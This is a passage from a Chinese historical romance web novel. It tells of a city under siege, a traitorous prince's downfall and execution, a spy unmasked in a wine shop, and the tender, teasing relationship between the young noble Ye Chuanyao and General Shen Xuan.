援军还未到。 陆清玖一边挥剑一边冲叶川遥道:“城门就要破了,世子你快走!” 他的兄长孑然一身多年,过得太苦了。 如今好不容易有了珍视之人,他要帮他护住。 叶川遥退到他身旁,不为所动道:“一起来的自然也要一起走。” “不到最后一刻,绝不能放弃!” 陆清玖不会走。 城中有他的爱人。 就算是死,他也要守住这道城门。 见叶川遥并无撤退之意,陆清玖也不再多言,只奋力地将他身旁的危险一一逼退。 朝身前而来的刀剑越来越密,死伤者越来越多。 叶川遥横刀挡住周围的攻击,反手将身旁之人一剑刺死。 未等喘息,下一人已直奔而来。 他的后背受了伤,伤口鲜血淋漓,却好似觉不出疼。 凌舟见状护在他身侧,虽体力不支,却还在拼死顽抗着。 殊死对敌之际,身后传来一身闷哼。 叶川遥扭头望去,见陆清玖胸前受了伤,踉跄之际手臂又被重重地砍了一刀,血流不止。 受伤的手臂使不上力,他只好改用左臂,很快被逼得连退了几步。 眼看着就要招架不住,叶川遥一个转身,立马横剑挡在他身前,将面前的敌军逼退。 “玖儿撑住!” 他单手扶着陆清玖,另一只手艰难地执剑抗敌,浑身都紧绷到了极致。 不远处,王都尉被人围攻,身中数刀,魁梧的身躯直直地向地面倒下。 叶川遥扶着陆清玖,背靠城门,手中长剑横于胸前,灼灼眼底无一丝畏惧。 陆清玖捂着手臂,血从手缝中不停地流出。 “走,别管我……” 为首的西夷将领坐在马上,居高临下地看着一身狼狈的两人。 一声哼笑传来:“看不出来啊,细皮嫩肉的两个小娃娃,还挺能打,真是可惜了。” “来人,把这两个人给我绑回去,献给陛下。” “休想!” 叶川遥挥剑逼退正欲上前擒拿他的西夷士兵。 陆清玖忍着疼,也重新提起剑。 又是一番殊死搏斗。 几人很快被层层围住,情急之下对视一眼,便从彼此的眼中读出了同样的心思。 正打算与敌人同归于尽之际,轰隆的马蹄声自远而近,犹如天神降临,奔腾而来。 仅剩的几十个守军欣喜地大喊道:“是壹字军的大旗!” “援军来了!” 叶川遥寻声望去,便见浩浩大军策马奔袭而来,卷起尘土飞扬。 为首之人端坐马上,一身铠甲闪着银光,威风凛凛。 不过眨眼的功夫,几千大军便已来到城下。 沈翾手握长枪,直朝着城门奔来。 热血飞溅,不消几下便杀出一条血路。 叶川遥怔怔地看着朝自己而来的身影,直到他翻身下马,来到自己身前。 “别怕,我来了。”沈翾道。 叶川遥闻言瞬间鼻尖一酸,眼底泛起一层水雾。 一直紧绷的神经一溃而散,疲乏和疼痛后知后觉而来。 “将军……”他喃喃地唤了声。 朝思暮想之人就在眼前,但眼下却不是诉衷肠的时候。 叶川遥看向怀中已经意识不清的陆清玖,急道:“玖儿伤得很重,需得马上医治!” 沈翾闻言立即将人接过,打横抱起送进城中。 将人安置好,军医忙上去替陆清玖处理伤口。 城外两方仍在交战,事态焦灼。 “在这里等我。”沈翾道。 叶川遥点头:“小心!” 沈翾嗯了声,便提剑重返战场。 壹字军的兵力自然比蜀郡的守军要强上许多。 不到一个时辰,西夷大军便败下阵来。 为首的将领被生擒住,五花大绑地关进城防营的大牢里。 蜀郡得以保住,城中的百姓终于可以重返家门。 檐下的灯笼和往常一样亮起,将黑夜的阴霾缓缓驱散。 陆清玖伤得很重,军医费了一番功夫才止住血,替他保住了性命。 只是右手手臂伤到了筋脉,只怕往后都无法再提剑。 叶川遥看着病榻上面色苍白的少年,眸光一颤,眼尾不禁红了红。 意气风发的陆小将军,若醒来后发现自己再无法提剑…… 他不忍再想,转身出了房间。 刚踏出房门,遇见沈翾迎面而来。 沈翾朝里间看了眼,压低嗓音问:“玖儿如何了?” 叶川遥随着他的视线看过去,不忍地如实道:“无性命之忧。只是,右手无法再用剑了。” 沈翾眸色一顿,随即沉沉地嗯了声。 一垂眸,瞥见叶川遥背上的伤。 他一言不发地将人带到隔壁房间,传了大夫来替他包扎。 先前一直绷着顾不上,这会儿卸下防备,叶川遥才觉得背后传来针扎般的疼。 大夫将伤口露出来,道:“伤口有些深,需得清理干净。” “会有点疼,公子忍一下。” 叶川遥嗯了声,咬着牙,默默忍着,眼底泛起一片潮湿的红。 他向来怕疼,能隐忍至此已是不易。 疼痛之际,他抬头看向身旁面色阴沉、一言不发的某人,心底突然颤了颤。 他看得出,沈翾此刻正在压着一股不明的情绪。 可又不像是在生气…… 叶川遥瞥他一眼,忍着疼道:“将军去忙吧,这点小伤,不碍事的……” 倒不是他故意逞能。 只是重伤的将士太多,他这点伤的确算不得什么。 方才一片混乱,大夫一时忙不过来,他也就没提。 沈翾并未应声,也没离开。 只是脸色似乎比方才还要阴沉几分。 伤口清理完,大夫开始敷药。 叶川遥皱了皱眉,疼得嘶了声。 沈翾眸光一颤,抿唇走到床边,小心翼翼地抬手将人扣在自己身上。 手掌轻轻揉了揉他的后脑勺,骨节分明的手指一下一下地顺着发丝轻轻捋着。 叶川遥靠在他腰上,安心地闭上眼,终于彻底放松下来。 大夫见状愣了愣,随即低下头专心上药,再不敢往旁边瞧上一眼。 伤口包扎好,大夫先行退下。 沈翾替身前之人将外袍穿好,低着头意味不明地看着他。 叶川遥仰起头,眼睛里还泛着雾气,眨眨眼轻声问:“你是在生我的气吗?” 沈翾负手看着他,不答反问:“为何来此?” 叶川遥如实道:“陪玖儿去向郡主提亲。” “今日本是要去陵川寻你的,没想到出了城,便遇见了西夷大军。” 他用手指勾住面前人的手,用力挤出一抹笑:“今日多谢将军救命之恩。” 沈翾目光深沉地盯着他看了一会儿。 两人谁都未再开口。 须臾后,沈翾才道:“好好歇息,我去处理善后。” “嗯,”叶川遥点头应道,“你去忙吧,我可以照顾自己的。” “你别担心。” 沈翾淡淡嗯了声,转身大步出了房门。 叶川遥望着消失在门外的背影,垂了垂眼,轻叹一声。 明明一肚子想说的话,却一句也没有机会说。 他站起身,想出去看看有什么自己能帮得上忙的。 脚还未来得及挪动半分,已经出了房门的人却又忽然折回。 粗糙的手掌不由分说地扣住他的脖颈,略带凉意的吻径直落下。 叶川遥愣了一瞬,随即闭上眼,扬起下巴轻轻回应。 多日来的思念在这一刻疯涌而出。 沈翾却并未吻太久,浅浅厮磨几下便分开。 额头抵着他道:“等我回来。” “好……” 第78章 伤口上了药, 却还是一阵阵火辣辣的疼。 叶川遥脱了外袍,侧着身迷迷糊糊地躺在床榻上,睡得并不安稳。 沈翾回来时虽然刻意放轻了动作, 榻上之人还是一下便醒了。 “你回来了……” 看见来人,叶川遥撑着床坐起身,嗓音略沙哑地问:“城中可都安置好了?” 沈翾给他倒了水, 在他身旁坐下。 “伤员已送去医馆医治。城防营也重新加了防守。” “背上的伤可还疼得厉害?” “不疼了,”叶川遥轻声道, “玖儿呢, 如何了?” 沈翾将他手里的空杯子拿走,道:“郡主已将他接回王府养伤, 大概要住上一阵子。” 叶川遥点点头, 心想如此也好。 提着的心刚放下, 不禁又担心起别的。 “陵川如何了?你今日就这样过来, 陵川那头可会有危险?” “无妨,”沈翾温声道, “北渊此次并未强攻,似要慢慢消耗我们的兵力。” “我不过离开一日, 明烛和南桑可以应对。” “那就好, ”叶川遥蹙了蹙眉, 不解道,“北渊也就罢了, 西夷又为何会突然偷袭?” 沈翾站起身脱掉外袍。 “季寒与西夷谈了笔买卖。” “他将蜀郡送给西夷,作为回报, 西夷拿下蜀郡后,将从背后攻入陵川。” “到时陵川两面受敌,我就算再厉害, 也插翅难飞。” 叶川遥闻言愣了愣,随即怒火中烧。 “怪不得周边几郡的援军迟迟不到,原来是早有预谋!” “可他为何要这样做?” “难道只为了除掉你,就将蜀郡和陵川拱手让人?” 若沈翾当真战败,北渊和西夷之间也必将会有一场恶战。 到时整个陵川城都将血流成河。 身为储君,为了一己私欲,居然枉顾那么多百姓和将士的性命。 简直丧心病狂! 沈翾坐回榻上,沉声道:“我也不曾料到,他会做到如此地步。” “我已传信给周印和太傅,让他们在京中小心提防。” 叶川遥越想越后怕。 “还好将军今日来得及时,西夷人的诡计才没有得逞,否则……” 沈翾看向他,眉目里盛满柔和。 “今日,怕吗?” 叶川遥想了想,嗯了声:“有一点。” “怕城破,怕被西夷人抓去做了俘虏。” “也怕见不到你最后一面。” 沈翾眼里清波微动。 抬手摸了摸他的头,嗓音温柔道:“你做得很好。” “我的阿遥护住了城中诸多百姓,是个英雄。” 叶川遥被夸得心里一热,得意地看他:“怎么样,没有给大将军丢人吧?” “嗯,”沈翾轻笑,“以你为荣。” 叶川遥闻言也跟着笑起来,仰着脸往前凑了凑。 “那将军可不能只是嘴上说说,总要给点奖赏吧?” 沈翾看向面前闪着银光的漂亮双眸,不自觉地牵了牵嘴角。 随即低下头,轻轻吻他。 叶川遥得逞地笑了下,闭上眼专注地同他亲吻。 嘴里鼻尖都是熟悉的味道,让人觉得安心。 良久后分开,沈翾捏了捏他的后颈,嗓音低哑着道:“明日一早我就要回陵川大营。” “早些睡吧。” 叶川遥嗯了声,顿了顿问:“我能跟你一起去吗?” 未等沈翾回答,他自顾自接着道:“我知道你怕我有危险。” “但你我两地分离,若你真的战死沙场,你觉得我一个人还能活下去吗?” “与其每日每夜地担心你,还不如留在你身边,起码能日日看着你,不必提心吊胆地胡思乱想……” 他说着说着不由地一阵哽咽,眼尾通红。 “况且京中如今乱的很,怕是还不如这里安全……” 这些都是他的心里话。 这段时日,他面上看上去与往常并无不同,却没有一日不在担心。 思念和忧虑交织着,无一日过得畅快。 再这样下去,怕是沈翾还未如何 ,他倒是先要相思成疾了。 一番话让沈翾的心化成了一池春水。 他将人抱进怀里,下巴在柔软的头顶蹭了蹭,顿了顿,终于道:“好。” 叶川遥这回高兴了。 他抬头仔细地打量着身旁的人。 从重逢到现在,他还没来得及好好看看他。 未等说话,沈翾先开了口。 “怎么瘦了,可是府里的饭菜不合胃口?” 叶川遥摇头:“想你。” 说完摸了摸沈翾脸颊的伤,心疼道:“你也瘦了。” “又受了很多伤吗?” 沈翾握住他的手:“都是小伤,无妨。” 叶川遥轻叹一口气:“陵川这一仗还要打多久?” 沈翾想了想,沉声道:“北渊此次故意拖延,恐别有用心。” “且七日前我已向朝廷请了粮草,却迟迟未有回应。” “如此看来,季寒怕不只是与西夷勾结。” 叶川遥猜测着道:“难道他们是想故技重施?” “我军粮草供应不足,北渊又不肯撤兵,若一直这样耗下去,总有粮草耗尽的一日。” “到时北渊再强力攻城,陵川恐要失守。” 沈翾轻笑一声:“阿遥果然聪明过人。” 虽得了夸奖,可这会儿叶川遥却顾不上高兴。 他挪到床榻里侧,二人合衣躺下。 叶川遥靠在沈翾胸前,担忧地问:“那你打算如何,难道就一样一直耗下去吗?” 沈翾轻抚着他的发尾,漫不经心道:“季寒如今做了太子,却也不可能一手遮天。” “粮草的事,三殿下和周印会想法子。至于北渊……” “有些事,可不是他们想如何便如何的。” 翌日一早,沈翾带着叶川遥返回陵川。 三日后,沈翾率精锐五千,直袭北渊大营,重创北渊军,壹字军士气大增。 七日后,粮草到。 十五日后,壹字军全线进攻,以奇妙阵法将北渊大军逼退至七里之外。 一个月后,沈翾生擒北渊军将领,北渊退兵。 至此,这场持续两个月的战事终于落下帷幕。 陵川城得以保全,百姓彻夜欢歌。 一切事毕,沈翾带着几人返回京城。 只是暂未声张,一路隐秘而行。 途中下马休息,叶川遥跑到明烛身边,撞了撞他的肩,一脸兴味地问:“哎明烛,你跟南桑,你们俩……” 明烛没多想:“我们俩怎么了?” 叶川遥睨一眼不远处的南桑,压低嗓音问:“你俩是何关系?” “我怎么瞧着,你们两个好像跟从前不大一样了呢……” 明烛呵呵笑了声,声音不自觉地高了几分:“我跟他能是什么关系,自然是好兄弟啊!” “出生入死的好兄弟!” “哦,”叶川遥拉着长声,意味深长地重复道,“好兄弟啊……” “可我怎么觉得,不大像呢?” 若真的只是好兄弟,那脸红什么? 明烛抓着手里的水壶往口中猛灌了几口,忙道:“那个,该启程了,走吧!” 叶川遥笑笑,兀自上了马。 南桑和明烛并排走在前面。 南桑看向身旁之人,语气自然地问:“明烛,你的耳朵为何这么红?” 明烛抬手摸了摸自己还在发热的耳垂,没好气道:“被风吹的!” 南桑笑笑:“冷吗,用不用给你加件外袍?” “不用,好好骑你的马!” 叶川遥在身后看着他们二人,忍不住偷笑。 沈翾瞧他一眼,也跟着轻轻弯了弯唇角。 回到京城,沈翾径直入宫面圣。 孙太医日夜研究,皇帝的病情倒是有了几分起色。 虽昏睡的时候多,但好歹能认得人。 沈翾将季寒与西夷及北渊通敌的证据呈给皇帝,请皇帝废除季寒的太子之位,并依律处置。 皇帝虽并不情愿,但已有心无力,只好应下。 只向沈翾提了一个要求。 “留他一命。” “寒儿是朕最疼爱的皇子,留他一命,他才不到十九啊……” 沈翾却只回了他一句:“陛下,他可曾留那些死去的将士们一命?” 皇帝闻言一愣,随即颓然地闭上眼。 他知道,自己保不住他了。 为防异动,沈翾进宫前已让明烛带人将整个六皇子府围了起来。 正欲出宫清剿,有侍卫前来禀报:“禀大将军,三……太子殿下,西南王正带兵朝京城而来!” “这会儿已经到城门外了!” 季泽问:“多少人?” “三万!” “这一路的守军呢,为何放他入城?” “是,是前太子下的诏书。” 殿中几人互相看看,气氛霎时紧张起来。 老太傅痛心疾首:“六殿下竟勾结西南王起兵谋反!” “不忠不孝,糊涂啊!” 周印蹙眉:“西南王何时囤积了如此多兵力?” 沈翾脸上没有什么表情,似乎并不意外。 镇定自若地朝季泽道:“臣出宫平叛,宫中就交给殿下。” 季泽躬身:“我等在此恭候大将军凯旋!” 沈翾出了宫,带兵径直往城门而去。 另一边,杨护军收到信号,也当即带兵前去平叛。 沈翾到城门时,叛军正与守城军缠斗。 西南王见到沈翾面露惊色,当即慌了神。 “你,你竟已回京了?” 沈翾端坐马上,面无表情地看着他,冷声道:“西南王,束手就擒吧。” 西南王仰天大笑几声。 “既已到了这一步,降了也是死罪,还不如拼一次!” “砍下沈翾人头者赏黄金万两!都给我冲!” 嘶吼惨叫声不绝于耳。 城门外一片混乱,不稍几时便血流成河。 西南王死于乱箭之下,叛军投降。 至此,季寒一党彻底没落。 长达多年的储位之争终于尘埃落定。 …… 刑部大牢中,季寒靠坐在墙边,还带着几分少年气的脸上此刻一片死寂。 沈翾和季泽来到牢门前,垂眼看着他。 季寒抬眼,看向二人。 “你们还来做什么?” 季泽将手中的瓷瓶放在他身旁,淡声道:“六弟好生上路吧。” 季寒看了眼瓷瓶,忽地笑了声:“三哥的运气总是比我好一点。” “明明就差一点,本王就成功了。” 季泽不为所动道:“你从小偏得父皇宠爱,本可以一世无忧,却恶事做尽。” “如今一切皆是咎由自取,怨不得旁人。” 季寒哼笑一声,不想再争辩什么。 成王败寇,没什么好说的。 只是…… 他看向沈翾,眼底湿了一片。 “让我再见阿遥一面。” 沈翾淡淡地看着他,看不出眼底的情绪。 冷声道:“他不想见你。” “我要见他!”季寒大声道,“大将军,算我求你,让我见他最后一面……” 昔日高傲的皇子,如今却趴在别人脚边,看上去狼狈又可怜。 “他不会见你。”沈翾重复道。 “不过有句话,他让我带给你。” 季泽抬起头,眼里闪过亮光。 “什么话?” 沈翾一字一句道:“他说,他最后悔的事,便是那年随他父亲进宫,遇见你。” 他没什么情绪地说完,转身出了牢房,再未曾看身后人一眼。 只留季寒不可置信地怔在原地,目光颓然地定在一处。 “六殿下,你为何在这里跪着?” “父皇今日考我功课,我答得不好,母妃罚我在这里跪到天亮。” “那这个桂花糕给你,还有这个蜜饯,可甜了!” “你是谁?” “我叫叶川遥,我父亲是卫国公,殿下叫我阿遥便好……” 梨花飘落,少年的笑脸如同春日暖阳,照进他阴暗又潮湿的心底。 从此,执念一生,便再无尽头。 他发誓要登上那个最高位,让这个人成为他一个人的。 到时,再无人会质疑,无人敢反对。 可究竟是哪里出了错? 为何他们会越走越远…… 叶哥哥,若有来世,你我还能……再遇见吗? 若我们都是平凡百姓,一切会不会不一样…… 可惜,一切都已尘埃落定。 那样好看的笑容,终究再也见不到了…… 第79章 季寒身死, 季泽继任太子,整肃朝纲。 沈翾以养伤为由免了朝会,整日整夜地待在云水阁。 已是深秋, 夜风透着阵阵凉意。 二人相依坐在院中,抬头望着朗朗皎月。 沈翾替叶川遥拢了拢身上的披风。 单薄的脊背略显柔弱。 他不禁蹙眉道:“明日让厨房多做几道你爱吃的,好好补补。” 叶川遥笑笑:“我这几日已经吃得够多了。” “若吃成个胖子, 将军可莫要嫌弃。” 沈翾嗯了声,面不改色道:“胖一些才好, 抱起来舒服。” “……” 叶川遥眯着眼看他:“知道的这么清楚, 从实招来,是不是从前还抱过旁的人?” 沈翾轻笑, 坦然应道:“两个月前抱过。” “……” 叶川遥撇撇嘴:“我那个时候也没有很胖吧……” “嗯, ”沈翾笑道, “没有很胖, 那样刚好。” 叶川遥弯了弯唇,眉眼里都是笑:“好吧, 那我争取再胖回去!” 他说着忽然想起先前跟云画一起酿的桃子酒,忙让人去取了来。 给沈翾倒上一杯。 “这可是我亲手酿的桃子酒, 你尝尝看!” 果香四溢, 沈翾尝了口, 甚是甘甜清冽。 不禁赞道:“好酒。” “真的?”叶川遥端起酒盏将剩下的酒喝掉,眉眼一亮。 “嗯, 好喝!” 沈翾看着自己面前空了的酒杯,勾唇一笑。 叶川遥又将杯子斟满, 邀功般地看向身旁之人。 “怎么样,我是不是很厉害?第一次便能酿出如此佳酿!” 沈翾不吝夸奖:“世子聪慧,自然做什么都能做得很好。” 叶川遥闻言莞尔一笑, 双手托着下巴看他:“奖赏呢?” 一双桃花眼黝黑发亮。 沈翾这次却没动,目光深邃又克制地盯着面前的人看了须臾,才道:“回房。” “哦……”叶川遥红着脸应了声。 明明沈翾什么都没做,他却觉得全身上下一阵火热。 像被剥了壳一般…… 他起身牵起沈翾的手,二人一道披着月色回了卧房。 关上房门,沈翾将人抵在墙上,纤长的手指自柔滑的颈侧划过。 嗓音低沉道:“世子想要什么奖赏?” “我,”叶川遥心下一跳,呼吸也跟着急了几分,“我想……” “想如何?” “想你亲我……” 沈翾勾唇一笑,向来端方的脸上露出一丝兴味。 喉结轻轻滚了滚,灼热的呼吸随即落下。 外袍散落在地,微凉月色下欲潮翻涌,掀起一层层不断升高的热浪。 秋风渐歇,榻上之人却不知疲倦,一夜未眠。 叶川遥浑浑噩噩地想,往后他可再也不提什么奖赏了。 他这小身板,承受不起…… 翌日,沈翾得了皇后的召见,一大早便进宫去了。 叶川遥一个人睡到日上三竿。 昨夜结束后,沈翾已里里外外地替他仔细擦洗过。 里衣也换了新的。 这会儿睡饱了,身上并不觉得怎么难受。 反倒有种餍足后的慵懒之感,甚是舒畅。 不多时,云画端来吃食。 一边往桌子上摆一边笑着道:“将军说今日世子定起得晚,早膳就不用了。” “他临走前让厨房做了几道滋补的羹汤,秋日里用刚好。” “世子快尝尝!” 叶川遥在心里暗骂沈翾。 什么叫他今日定起不来? 这人未免也把他想得太娇弱了些! 他不过是觉得今日的床榻太舒服,才犯懒多睡了一会儿。 春困秋乏罢了。 想起昨夜还用了不少云画送的东西,叶川遥的脸上一阵发热。 但饭还是要吃的。 如今奸人落马,海晏河清,朝思暮想之人又在身旁,自是欢喜畅快。 吃起东西来也觉得香了许多。 叶川遥美滋滋地用过午膳,闲来无事,便带着凌舟回了国公府。 路上却意外遇见初一。 自上次沈翾将他从醉月轩带走,他与初一再未曾见面。 这会儿既遇见,倒也不好视而不见。 毕竟那桃子酒的酿法还是同人家学的。 “阿遥,许久不见,你可还好?”初一一如往常地关切道。 “挺好的。”叶川遥笑笑,温和中透着股疏离。 “醉月轩近来生意如何?” “还不错,”初一笑道,“我这几日新酿了一坛梅子酒,阿遥可要去尝尝?” “今日有点事,还是下次吧。” 初一见状倒也不再勉强,两人道了别,各自离去。 叶川遥走了几步后忽然停下,觉得有什么地方似乎不大对劲。 他回过头,怔怔地看着渐渐远去的身影。 见他神色有异,凌舟疑惑问道:“怎么了少爷?” 叶川遥若有所思地摇摇头。 一时也说不上哪里古怪。 直到行至家门口,他才心中一颤,倏地想通关窍。 方才初一临走时,脚腕上有银光一闪而过。 男子自出生时便在脚腕上佩戴银环,寓意着一生顺遂。 这是西夷人独有的习惯。 叶川遥心下一紧。 没想到初一竟是西夷人。 此前他谎称自己生于蜀郡,如今又蛰伏在京城,究竟有何图谋? 季寒与西夷勾结,互通消息,会不会同他有关? 还有此前种种,每一次偶遇,难道真的只是巧合? 这个初一,究竟是什么人…… 叶川遥想了想,脚步一转,又原路折回去。 凌舟不明所以地跟上:“少爷,咱们这是要去哪?不回府了吗?” “初一有问题,”叶川遥言简意赅道,“凌舟,你马上去将军府报信,我去醉月轩拖住他。” 凌舟不放心:“会不会有危险,少爷你还是随我一起回去吧!” 叶川遥摇摇头,坚持道:“醉月轩内往来达官显贵颇多,若他当真是西夷的奸细,只怕牵连甚广。绝不能让他跑了。” “快去吧,青天白日的,不会有事。” 见他如此笃定,凌舟这才应下,急匆匆上马疾驰而去。 初一见到叶川遥有些意外,笑着迎上前道:“阿遥怎地又过来了?” 叶川遥笑笑,神色自然道:“上次的秋月白家父喝了很是喜欢,便让我再带两坛给他。” “方才险些忘了,若我空着手回去,怕是又要被他数落一番。” 初一闻言爽朗一笑,道:“这好说。阿遥先坐,我这便让人给你取两坛来!” 叶川遥莞尔:“那便多谢了。” “等着。” 初一吩咐小二去拿酒,自己则起身进了门后。 叶川遥独自打量起店内之人。 小二殷勤地来回忙活着,客人三三两两地对饮说笑,似乎并无异样。 这里,会是西夷的情报据点吗? 初一很快从门后出来,手上拎了个精致的酒壶。 “这是我新酿的梅子酒,阿遥尝尝味道如何?” 叶川遥却没动,转头看向四周,状似随意地道:“我并不擅品酒,不过看店里的客人比从前多了不少,想来初兄的酒定是极好的。” “只是不知初兄师从何人,竟有如此技艺,着实让人羡慕。” 初一抬了抬眼,意味不明地看向他,笑着道:“哪有什么师父,不过是自己瞎琢磨,酿得多了,自然也就悟出了几分诀窍。” “原来如此,”叶川遥点头道,“初兄果然颖悟绝伦。” “对了,不知蜀郡可也有初兄的酒肆?” “郡主下个月大婚,我正好送一些当做贺礼。” 初一眸光微闪,语气自然道:“怕是要让阿遥失望了。” “我一个孤家寡人,可实在没那么多精力。” “这一间已经够我劳心劳力了。” 叶川遥低头笑笑:“倒是我贪心了。” 初一看向他,脸上始终带着笑。 “阿遥不尝尝这酒吗?” 叶川遥抬头对上他的视线。 顿了顿,端起酒盏,缓缓送至嘴边。 还未碰到,凌舟从外面急匆匆进来。 “少爷!” 叶川遥看向来人,故作嗔怪道:“何事如此慌张?” 凌舟递给他一个眼神:“国公爷催你回去,说有急事要你去办。” 叶川遥闻言站起身,冲初一道:“多谢初兄的酒,那阿遥便先告辞了。” “且慢。”初一看向门外,收起脸上的笑,嗓音也冷了几分。 “世子这是何意?” 楼外官兵已将醉月轩团团围住。 叶川遥看向初一:“有些事想要问一问初兄,还请初兄和醉月轩的弟兄们跟我走一趟。” 初一并不慌乱,嘴角重新勾起一抹笑。 “世子既有话要问,不如就留在这里吧。” 话音刚落,大堂内忽地冒出十几个男子,个个手持利剑,一看便是常年习武之人。 凌舟护在叶川遥身旁,厉声道:“这里已经被包围了,初一,束手就擒吧。” 初一不屑地哼了声:“那就要看你的本事了。” 说完一个箭步直奔叶川遥身前而去。 叶川遥匆忙闪躲,二人缠斗在一起。 楼外的侍卫见状立刻冲进门,同那些侍从厮杀在一处。 客人吓得四处逃窜,店内一片混乱。 初一武艺不低,叶川遥一人应对有些吃力。 正头疼之际,沈翾从门外一闪而入。 初一见状一个转身,横剑架在叶川遥颈边。 “都别过来!” 屋内打斗声戛然而止。 沈翾定定地看着初一,眼底冰冷阴翳。 凌舟在一旁急哭道:“少爷!” 叶川遥强迫自己冷静下来,开口道:“初一,收手吧,西夷已经败了。” 初一不屑地扯了扯嘴角:“败了?世子未免言之过早。” 叶川遥道:“西夷偏安一隅,本可享百年太平,又何必搅进这场无妄的争斗中?” “偏安一隅?”初一嗤笑一声,嗓音沉了几分。 “阿遥,你曾说想见一次那万里飘雪的壮阔。” “那你可知,在西夷,千里冰封,寸草不生,不过是再寻常不过的事。” “对你们来说,弘江那次雪灾百年不遇。可对西夷的百姓来说,却是每一年都要必经的苦楚。” “凭什么你们就可以身居福地,而我西夷却只能忍受苦寒?” 叶川遥微微一怔,心里涌上一丝酸楚。 却还是道:“即便如此,这也不是你们发起战争,谋害百姓的理由。” 初一颓然一笑:“你们有你们的百姓要守,我也有我的黎民要护。” “其实并无对错之分,不过是成王败寇罢了。” “阿遥,”他顿了顿,低声道:“我是真心把你当朋友的。” 只有你,在提及从未见过的大雪时,眼中不只是新奇,还有怜悯和不忍。 “只可惜……” 话音未落,趁他分神之际,沈翾直冲向前,手起刀落,一剑径直刺向他胸口。 动作干净利落,一气呵成,没有丝毫的迟疑。 初一当即吐了一大口血,脚步踉跄着后退几步。 明烛上前将剑抵在他颈上,令他动弹不得。 沈翾看向一脸惊魂未定的人,一把将他揽在身前,嗓音颤抖着问:“有没有受伤?” 叶川遥摇摇头:“我没事。” 沈翾嗯了声,在他身上打量片刻,见他无虞,眼底才终于恢复几分平静。 他留了初一活口,剩下的事则交由明烛处置。 叶川遥最后看了眼初一,没再说什么,转身跟着沈翾朝楼外而去。 走到门口,忽闻身后传来一阵闷哼。 回过头,便见初一口吐鲜血,眼神涣散,不多时便没了气息。 他愣在原地红了红眼,极轻地叹了口气。 千般算计,万般筹谋,终是一切成空。 回府的路上,沈翾一言不发,眉目深沉不知在想些什么。 叶川遥走在他身旁,时不时地转头看他。 暗自腹诽:方才受了惊吓,这会儿难道不该抱着他好生安慰一番吗? 难不成真生气了? 可他明明从未真的跟他动过气…… 叶川遥停下脚步,拽了拽沈翾的手臂。 “你……生气了?” 沈翾停下看着他:“叶川遥,你可还记得,自己答应过我什么?” 这是叶川遥第一次听沈翾唤他的全名。 低沉的嗓音里带着几分克制的怒意。 他心底一颤,讪讪地问:“什么啊?” 沈翾沉声道:“你说绝不会以身犯险。” “可这是第几次了?” 叶川遥眨眨眼,打算蒙混过关。 “吉人自有天相,我这不是没事嘛……” 他说着说着自己也觉得底气不足,声音轻若蚊蝇。 末了,伸手轻轻扯了扯沈翾的袖子,讨好道:“翾哥哥,我知道错了,你别生我的气……” 他知道,只要他一撒娇,沈翾绝对拿他没办法。 这一招屡试不爽,绝对的保命良计! 可沈翾这一次却并未松口。 他一路说尽了好话,把自己哄人的本事全都拿了出来。 唾沫都快耗干了,才终于见沈翾的脸色缓和了几分。 回到府里,进了屋,不必再有所顾及。 房门方一关上,叶川遥立即抬手圈住沈翾的脖子,仰着头亲他。 嘴里含糊道:“这次是我草率了,我会记着教训的。” “别气了,行不行?” 沈翾站着不动,由着他亲。 等他亲够了,才道:“城中还有西夷的细作尚未伏法。” “这几日你便待在云水阁,哪也别去了。” “……” 叶川遥怔怔地眨眨眼:“什么意思?” “你要把我关起来?” 沈翾垂眸看他:“只是让你在院子里好好反省。” “什么时候真长记性了,再出门也不迟。” 叶川遥将手拿开,不可置信地瞪着他,带着哭腔道:“好你个沈翾,你居然敢关我!” “哼,话本上说得果然不错。” “男人都一个样,再喜欢的东西,只要得到了便不稀罕,便开始随意践踏!” “你如今就敢关我,那等日后成了亲,我岂不成了砧板上的鱼肉,只能任人欺凌!” “呜呜呜呜,我真心错付……” “……” 纵然知道他一向伶牙俐齿,但沈翾还是觉得脑袋轰的一声。 这罪名实在有些重。 他抬了抬手,刚准备哄人,转念一想又将手缓缓放下。 今日之事,他光是想想就后怕不已。 若这次又轻轻揭过,以小少爷的性子,定还会有下一次。 需得让他好好长长教训。 沈翾将视线挪开,不去看他,板着脸道:“今日也累了,好好歇息。” “需要什么让他们送来。我先走了。” 见他起身要走,叶川遥在他身后哭骂道:“沈翾你混蛋!” “我今日受了惊吓,你不哄我,还要关我……” 沈翾看向那双泛着水汽的桃花眼,后背一紧。 终是狠不下心来。 他抬脚走到他面前,轻叹一口气。 “方才还是翾哥哥,这会儿怎么不叫了?” 叶川遥哼了声,扭头不看他:“哥哥没了。” “你都要关我了,我还撒个哪门子的娇。” “反正你也不稀罕……” 沈翾抬手摸了摸他的头,语重心长道:“阿遥,我很怕。” 叶川遥一怔,抬起头看他。 “那次你被季寒带走,前些日子你对抗西夷,还有今日……” “每一次我都后怕,怕自己护不住你……” “阿遥,我见不得你有任何的闪失,所以能不能,别再让我担心?” 叶川遥鼻尖一酸,心底发胀。 他伸手环住沈翾的腰,靠在他胸前,轻声道:“我记下了。” “我保证,绝不会再发生今日之事。好不好?” “嗯。” “消气了吗?” 沈翾叹口气,将人抱住。 “嗯,没生气。” 就算要气也是气自己没能护好他。 叶川遥抬头看他:“那……禁足的事……” 沈翾将人松开,转身道:“京中动乱还未平息,还是先不要出门的好。” “晚膳不必等我。” 说完头也不回地快步离开。 “……” “沈翾!!” 第80章 沈翾连忙了几日, 终于将西夷藏于京中的据点尽数剿灭。 西南王一党也清除干净。 城中逐渐恢复平静。 季泽继任太子后励精图治,重整各部,严查贪腐。 朝中上下焕然一新。 许是近来受的刺激太多, 皇帝的身子一日不如一日。 太医们想尽了法子,终是药石无医。 眼见着没几日熬头,皇帝却突然宣了沈翾进宫。 如今季泽的太子之位已然安稳, 皇帝这个时候召见他,总感觉别有用心。 临进宫前, 沈翾嘱咐明烛带叶川遥去京外的庄子, 说是枫叶正红,正适合赏玩。 叶川遥没多想, 满心欢喜地同明烛一道去了。 皇后和季泽在皇帝寝宫侍疾。 沈翾朝二人见过礼, 看向龙榻上形如枯槁的皇帝。 看样子熬不了几日了。 皇帝见他来, 有气无力地冲皇后道:“皇后先下去歇着吧, 朕同大将军说说话……” “太子留下。” “是,臣妾告退, 陛下保重龙体。” 皇后说完看了眼沈翾,随即带着婢女出了寝殿。 一直伺候皇帝的内侍站在床榻旁, 并未退下。 沈翾状似随意地在殿内扫了一眼, 看向皇帝道:“不知陛下召臣前来有何旨意?” 皇帝费力地吸了口气, 